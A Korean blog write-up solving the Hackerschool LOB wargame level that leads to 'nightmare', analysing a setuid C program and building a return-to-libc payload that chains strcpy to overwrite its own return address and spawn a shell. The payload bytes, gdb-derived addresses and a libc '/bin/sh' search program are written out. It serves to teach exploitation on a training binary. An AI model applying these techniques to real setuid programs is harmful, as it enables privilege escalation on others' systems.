본문으로 바로가기

해커스쿨 LOB succubus 풀이, write-up

category Wargame/LOB 2018. 10. 12. 00:07

succubus --- here to stay



문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.



$export SHELL=/bin/bash2

$/bin/bash2



우선 succubus의 디렉터리를 확인한다.






nightmare라는 의심스러운 파일이 존재한다.

nightmare는 nightmare의 권한을 가지고 있고, setuid가 걸려있는 파일이다.



nightmare.c를 가지고 nightmare elf 파일을 만들었을 가능성이 있기 때문에, succubus 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.






지역 변수를 선언한다.



1
2
char buffer[40];                                                                        
char *addr;            
cs




인자가 없으면 "argv error\n'를 출력하고 종료한다.



1
2
3
4
if(argc < 2) {
    printf("argv error\n");                                                            
    exit(0);
}
cs



strcpy의 주소를 addr에 대입한다.

argv[1]+44가 가리키는 데이터와 &addr이 가리키는 데이터 4byte가 같지 않으면 "You must fall in love with strcpy()\n")를 출력하고 종료한다.



1
2
3
4
5
6
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44&addr, 4!= 0) {
    printf("You must fall in love with strcpy()\n");                                
    exit(0);
}
cs



argv[1]를 buffer에 복사하고 출력한다.



1
2
3
// overflow!
strcpy(buffer, argv[1]);                                                            
printf("%s\n", buffer);
cs



buffer+40+8 번지부터 4byte를 'a'로 set한다.



1
2
//dangerous waterfall
memset(buffer+40+8'a'4);                                                        
cs




nightmare의 메모리 구조를 예상해보면 아래와 같다.






실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.


gdb를 이용해 nightmare를 분석해보자. nightmare를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.






위와 같이 nightmarecp가 succubus의 권한으로 복사된 것을 확인할 수 있다.



dummy가 생성되었는지 gdb를 통해 확인할 수 있다.





dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 있다.


strcpy() 함수에 대해 자세히 알아보는 것이 좋다.


strcpy()의 원형은 아래와 같다.


char *strcpy(char *Destination, char const *source);


우리가 주목할 점은 포인터를 이용하여 우리가 Destination에, 원하는 source를 작성 가능하다는 뜻이다.

"check address" 부분 때문에 반드시 main 함수의 RET는 strcpy가 된다.

따라서 strcpy의 RET 부분을 수정하고 싶지만, "// dangerous waterfall" 때문에 반드시 strcpy의 RET이 "AAAA"로 덮어쓰기 때문에, strcpy의 RET도 사용할 수 없다.


여기서 우리가 주목할 점은, strcpy를 통해서 source에 쉘코드를 삽입하고, Destination에 strcpy의 RET으로 설정하면 쉘코드가 strcpy의 RET으로 설정되어 strcpy가 끝난 뒤 쉘 코드를 실행할 것이다. 


그림으로 나타내면 아래와 같이 나타낼 수 있다.



main 함수가 끝난 직후이다.





우리가 Destination의 주소를 buffer + 48, Source에 System("/bin/sh")를 넣으면 아래와 같이 나타낼 수 있다.






우리가 공격을 위해 필요한 것은 strcpy의 주소, RTL을 위한 system(), "/bin/sh"주소, buffer+48의 주소, buffer의 주소이다.



우선 RTL을 위한 system()의 주소와, "/bin/sh"의 주소가 필요하다.


공유라이브러리의 system() 함수의 주소는 gdb를 통해서 알 수 있다.




system() 함수 내부에 "/bin/sh"라는 문자열이 있다.

system() 함수 내부에 "/bin/sh"라는 문자열을 찾는 소스는 아래와 같다.



1
2
3
4
5
6
7
8
#include <stdio.h>
main()
{
        long shell = 0x40058ae0;
        while(memcmp((void*)shell, "/bin/sh"8))                                    
                shell++;
        printf("%x\n", shell);
}
cs



shell에 system 함수의 주소를 넣고, system 함수의 시작부터 "/bin/sh"의 문자열을 만날 때 까지 주소를 1씩 증가시켜 "/bin/sh"의 문자열을 찾는 소스이다.





"/bin/sh"의 문자열이 0x400fbff9에 위치한 것을 확인할 수 있다.


RTL을 통한 payload는 아래와 같다.


"\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"


strcpy()의 주소는 system()의 주소를 얻는 방법으로 구할 수 있다.






strcpy()의 주소는 0x08048410이다.



buffer의 주소는 아래와 같이 gdb를 통해 구할 수 있다.






buffer의 주소가 0xbffffa90인 것을 확인할 수 있다.

우리가 공격할 주소는 0xbffffa90 + 48(0x30)인 0xbffffac0이다.


payload를 작성하면 아래와 같이 짤 수 있다.


[system() 주소] + [dummy] +[/bin/sh] + "[dummy] + [strcpy의 plt] + [dummy] + [strcpy의 ret의 주소] + [buffer의 시작 주소]


"\xe0\x8a\x05\x40"+"AAAA" + "\xf9\xbf\x0f\x40"+ "A"*32 +"\x10\x84\x04\x08"  +"AAAA"+"\x80\xfa\xff\xbf"+"\x50\xfa\xff\xbf"


공격을 하면 segmentation fault가 발생하며 core dump가 생길 것이다.

core dump를 분석해보면 아래와 같다.




우리가 strcpy로 덮어야할 주소는 0xbffffa80이다. 따라서 payload를 고쳐서 다시 공격을 진행하면 아래와 같을 것이다.

버퍼와 strcpy의 RET의 주소는 48(0x30) byte만큼 떨어져 있다.





성공!!!